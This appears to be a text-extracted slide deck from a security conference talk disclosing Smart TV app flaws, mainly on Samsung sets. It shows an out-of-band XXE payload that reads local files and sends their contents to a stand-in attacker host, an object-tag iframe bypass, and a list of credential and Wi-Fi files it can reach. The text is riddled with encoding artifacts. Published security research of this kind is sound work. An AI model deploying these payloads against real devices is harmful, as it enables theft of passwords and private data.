Not so Smart: On Smart TV Apps Marcus Niemietz , Juraj - - PowerPoint PPT Presentation

Not ¡so ¡Smart: ¡On ¡Smart ¡TV ¡Apps ¡ ¡

Marcus ¡Niemietz, ¡Juraj ¡Somorvsky, ¡Chris;an ¡ Mainka, ¡Jörg ¡Schwenk ¡

{firstname.lastname}@rub.de ¡ ¡ Ruhr ¡University ¡Bochum ¡& ¡3curity ¡GmbH ¡

Table ¡of ¡Contents ¡

• Horst ¡Görtz ¡Ins;tute ¡for ¡IT ¡security ¡
• 3curity ¡GmbH: ¡Trainings, ¡Pentests ¡
• German ¡book ¡about ¡UI ¡redressing ¡
• Speaker ¡at ¡ ¡Black ¡Hat, ¡BlueHat, ¡ ¡

PHDays, ¡Zeronights, ¡OWASP, ¡... ¡

• TwiXer: ¡@mniemietz ¡
• mail@mniemietz.de ¡

Table ¡of ¡Contents ¡

• 1. Introduc;on ¡& ¡Generaliza;on ¡
• 2. Tested ¡Devices ¡
• 3. AXacker ¡Model ¡
• 4. Eavesdropping ¡AXtacks ¡
• 5. Samsung: ¡AXached ¡Storage ¡and ¡Web ¡AXacks ¡
• 6. Conclusions ¡

• 1. ¡Introduc;on ¡& ¡ ¡

Generaliza;on ¡

Introduc;on ¡

• “Years” ¡ago: ¡ ¡TVs ¡were ¡a ¡medium ¡to ¡watch ¡

news, ¡broadcasts, ¡documentaries, ¡or ¡ blockbusters ¡

• Smart ¡TV: ¡

TV ¡+ ¡computer ¡with ¡Internet ¡connec;on ¡

Introduc;on ¡

• Smart ¡TV ¡apps ¡

– Social ¡networks ¡like ¡Facebook ¡ – Streaming ¡services ¡like ¡Nealix ¡or ¡Watchever ¡ – Games ¡like ¡Angry ¡Birds ¡ – Browsing ¡websites ¡

Generaliza;on ¡

• Can ¡be ¡also ¡applied ¡to ¡different ¡scenarios ¡

beyond ¡Smart ¡TVs ¡

– Internet ¡connec;on ¡ – App ¡rendering ¡engine(s) ¡(e.g., ¡from ¡a ¡browser) ¡ – Installed ¡aXacker’s ¡app ¡

• „Internet ¡of ¡Things“ ¡is ¡nearly ¡everywhere ¡

• 2. ¡Tested ¡Devices ¡

Tested ¡Devices ¡

• 3. ¡AXacker ¡Model ¡

AXacker ¡Model ¡

• Eavesdropper ¡

– Sniffing ¡HTTP ¡traffic ¡

• AXached ¡Storage ¡AXacker ¡

– For ¡example ¡a ¡USB ¡flash ¡drive ¡

• Malware ¡AXacker ¡

– Device’s ¡app ¡store ¡or ¡aXacker ¡controlled ¡website ¡

• 4. ¡Eavesdropping ¡AXacks ¡

Eavesdropping ¡AXtacks ¡

Vulnerable ¡Login ¡Apps ¡

• Samsung ¡

– 25 ¡pre-­‑installed ¡ (WATCHEVER ¡v2.200, ¡ImmoScout24 ¡v1.010) ¡ – 31 ¡app ¡store ¡ ¡ (NewMoove ¡v2.2003, ¡Putpat ¡TV ¡v2.504) ¡

• Grundig ¡

– ¡34 ¡apps: ¡Facebook, ¡Ebay, ¡and ¡Viewster ¡

• Apple: ¡WATCHEVER, ¡Google ¡& ¡Amazon: ¡0 ¡

¡Privacy ¡Viola;on ¡and ¡SSO ¡Hijacking ¡

Wireshark ¡logs ¡

DeepSec ¡DEMO ¡

¡Privacy ¡Viola;on ¡and ¡SSO ¡Hijacking ¡

VEVO ¡App: ¡Market ¡Research ¡Traffic ¡

VEVO ¡App: ¡Market ¡Research ¡Traffic ¡

• „ScorecardResearch ¡... ¡market ¡research ¡

community, ¡a ¡leading ¡global ¡market ¡research ¡ effort ¡that ¡studies ¡and ¡reports ¡on ¡Internet ¡ trends ¡and ¡behavior. ¡ScorecardResearch ¡ conducts ¡research ¡by ¡collec;ng ¡Internet ¡web ¡ browsing ¡data ¡and ¡then ¡uses ¡that ¡data ¡to ¡help ¡ show ¡how ¡people ¡use ¡the ¡Internet, ¡what ¡they ¡ like ¡about ¡it, ¡and ¡what ¡they ¡don’t.“ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡Source: ¡www.scorecardresearch.com ¡

Samsung ¡SSO ¡

¡Privacy ¡Viola;on ¡and ¡SSO ¡Hijacking ¡

• Access ¡to ¡

– Samsung ¡GALAXY ¡Apps ¡ – Samsung ¡Link ¡ – Find ¡My ¡Mobile ¡ – Smart ¡Appliance ¡ – Samsung ¡e-­‑Store ¡ – PEN.UP ¡ – Samsung ¡Wallet, ¡S ¡Health, ¡Samsung ¡Cloud, ¡... ¡

• 5. ¡Samsung: ¡AXached ¡Storage ¡ ¡

and ¡Web ¡AXacks ¡

Samsung ¡Apps ¡

• Basically ¡just ¡a ¡normal ¡website ¡

¡(HTML5, ¡CSS, ¡JavaScript) ¡

– config.xml – index.html

– Op;onal ¡HTML, ¡CSS, ¡JS, ¡etc. ¡

• Can ¡be ¡loaded ¡from ¡a ¡USB ¡device ¡

Samsung ¡Apps ¡

• navigator.userAgent

– Mozilla/5.0 ¡(SmartHub;SMART-­‑TV;U;Linux/ SmartTV+2014;Maple2012) ¡AppleWebKit/537.42+ ¡ (KHTML, ¡like ¡Gecko) ¡Smart ¡TV ¡Safari/537.42+ ¡

Samsung ¡Apps ¡

• document.location

– file:///dtv/usb/sda1/UIR6_0.100_Europe_20150309/ index.html?country=D&language=17&lang=en-­‑ GB&modelid=14_X14_2D&server=opera;on&remoco n=0_650_259_22&area=PANEURO&product=0&mgrv er=6.1571&ssoid=foobar@example.org&ssopw=secr et&authtoken=MORE-­‑STUFF&all_ar;st=jennifer-­‑ lopez&x_ar;st=&video_content_type=vevotv&ns_st_ pr=Top10Now&realmodel=UE22H5600&networktype =0 ¡

Samsung ¡App ¡Bypass ¡

• <iframe> ¡is ¡not ¡supported ¡in ¡the ¡app ¡context ¡

– Security ¡reasons? ¡ – Any ¡ideas ¡for ¡a ¡bypass? ¡

Samsung ¡App ¡Bypass ¡

• <iframe> ¡is ¡not ¡supported ¡in ¡the ¡app ¡context ¡
• Thank ¡you ¡HTML!

<object class="iframelook" type="text/html" data="http:// www.attackers.org/tv" style="width: 100%; height:100%“>

Samsung ¡File ¡Browser ¡via ¡our ¡App ¡

Directory ¡lis;ng: ¡file:///

App ¡Install ¡

• AXack ¡via ¡USB ¡flash ¡drive ¡

– XML ¡External ¡En;ty: ¡ Read ¡files ¡with ¡one ¡line ¡automa;cally ¡

• /dtv/cm_version_name ¡
• /mtd_chmap/opera;ng_account_data ¡

– XMLHXpRequest: ¡ Read ¡all ¡files ¡by ¡ac;va;ng ¡the ¡app ¡

• /mtd_chmap/network/wpa_sta.conf ¡
• /mtd_pers/cookies ¡(FB ¡sends ¡data ¡to ¡South ¡Korea?) ¡

XXE ¡

• Config.xml ¡

<?xml ¡version="1.0" ¡encoding="UTF-­‑8"?> ¡ <!DOCTYPE ¡rooXag ¡[ ¡ <!ENTITY ¡% ¡ext ¡SYSTEM ¡"file:///mtd_chmap/…"> ¡ <!ENTITY ¡% ¡dtd ¡SYSTEM ¡"file:///dtv/usb/sda1/XXE/ aXacker.xml"> ¡ ¡ ¡ %dtd; ¡ ]> ¡ <widget ¡xmlns="hXp://www.samsung.com/"> ¡… ¡

• A,acker.xml ¡

<!ENTITY ¡% ¡all ¡"<!ENTITY ¡send ¡SYSTEM ¡'hXp:// www.aXacker.com/tv/?%ext;'>"> ¡ %all ¡

file://

• App ¡can ¡“access” ¡all ¡(?) ¡files ¡

– Wifi ¡data ¡(incl. ¡password) ¡ – Apps ¡Cookies ¡ ¡ – Local ¡Storage ¡(ZaXoo: ¡login ¡data) ¡ – SSO ¡username ¡(one ¡line) ¡ – Browser ¡history ¡ – Common ¡user ¡inputs ¡

• FB ¡and ¡Samsung-­‑SSO ¡username/password ¡

– Par;al ¡webcam ¡access ¡

file:// & OAuth ¡

• OAuth ¡is ¡not ¡to ¡log ¡in ¡the ¡user ¡into ¡an ¡applica;on, ¡

but ¡to ¡grant ¡access ¡rights ¡on ¡specific ¡resources ¡to ¡ it ¡

• We ¡have ¡Samsung‘s ¡Facebook ¡Connect ¡API-­‑Key ¡

and ¡apiSecret ¡

– We ¡can ¡make ¡a ¡spoofed ¡client ¡ – We ¡cannot ¡get ¡user ¡creden;als ¡

• Proof? ¡

file:// & OAuth ¡

• Only ¡at ¡the ¡conference, ¡sorry! ¡

file:// & OAuth ¡

file:// & OAuth ¡

Just ¡saying ¡... ¡

• A ¡never ¡ending ¡story? ¡

– Leaking ¡data ¡is ¡not ¡new ¡

• Samsung ¡SmartTV ¡customers ¡warned ¡personal ¡

conversa;ons ¡may ¡be ¡recorded ¡(hXp://is.gd/Wxq2oy) ¡

• Read ¡It ¡Twice! ¡A ¡mass-­‑storage-­‑based ¡TOCTTOU ¡aXack ¡

(hXp://is.gd/VLC0yE) ¡

– Leaking ¡creden;als ¡without ¡any ¡aXack ¡is ¡new ¡

Just ¡saying ¡... ¡

• Our ¡research ¡was ¡covered ¡by ¡the ¡German ¡

media ¡(Heise, ¡Golem, ¡WDR, ¡and ¡ORF) ¡

– What ¡happens? ¡

• Consumer ¡advice ¡centre ¡of ¡NRW ¡(Germany) ¡

hXps://www.vz-­‑nrw.de/klage-­‑gegen-­‑samsung ¡

Samsung ¡Smart ¡TV ¡Bug ¡Bounty ¡

Samsung ¡TV ¡Bounty ¡

• “The ¡bugs ¡that ¡are ¡eligible ¡will ¡be ¡payed ¡

according ¡to ¡the ¡site ¡policy: ¡

– we ¡reward ¡only ¡unknown ¡and ¡unreported ¡issues ¡

• n ¡TV/Blueray ¡models ¡from ¡E-­‑Series ¡and ¡above ¡

(2012 ¡to ¡2015). ¡ – you ¡agree ¡not ¡to ¡disclose ¡the ¡vulnerabili;es ¡to ¡3rd ¡ par;es ¡without ¡our ¡agreement ¡(we ¡can ¡agree ¡on ¡a ¡ publica;on ¡date ¡axer ¡the ¡security ¡patches ¡are ¡ deployed)“ ¡

• 6. ¡Conclusions ¡

Conclusions ¡

• New ¡IoT ¡technologies ¡like ¡Smart ¡TVs ¡are ¡a ¡

valuable ¡target ¡for ¡aXackers ¡

• Lessons ¡learned ¡

– Use ¡TLS ¡ – Do ¡not ¡save ¡sensi;ve ¡data ¡(unencrypted) ¡ – Do ¡not ¡run ¡with ¡root ¡priviledges ¡ – Use ¡a ¡sandboxing ¡mechanism ¡

• Todo: ¡Protect ¡your ¡webcam ¡

¡

Thank ¡you ¡for ¡your ¡aXen;on. ¡ ¡ Ques;ons? ¡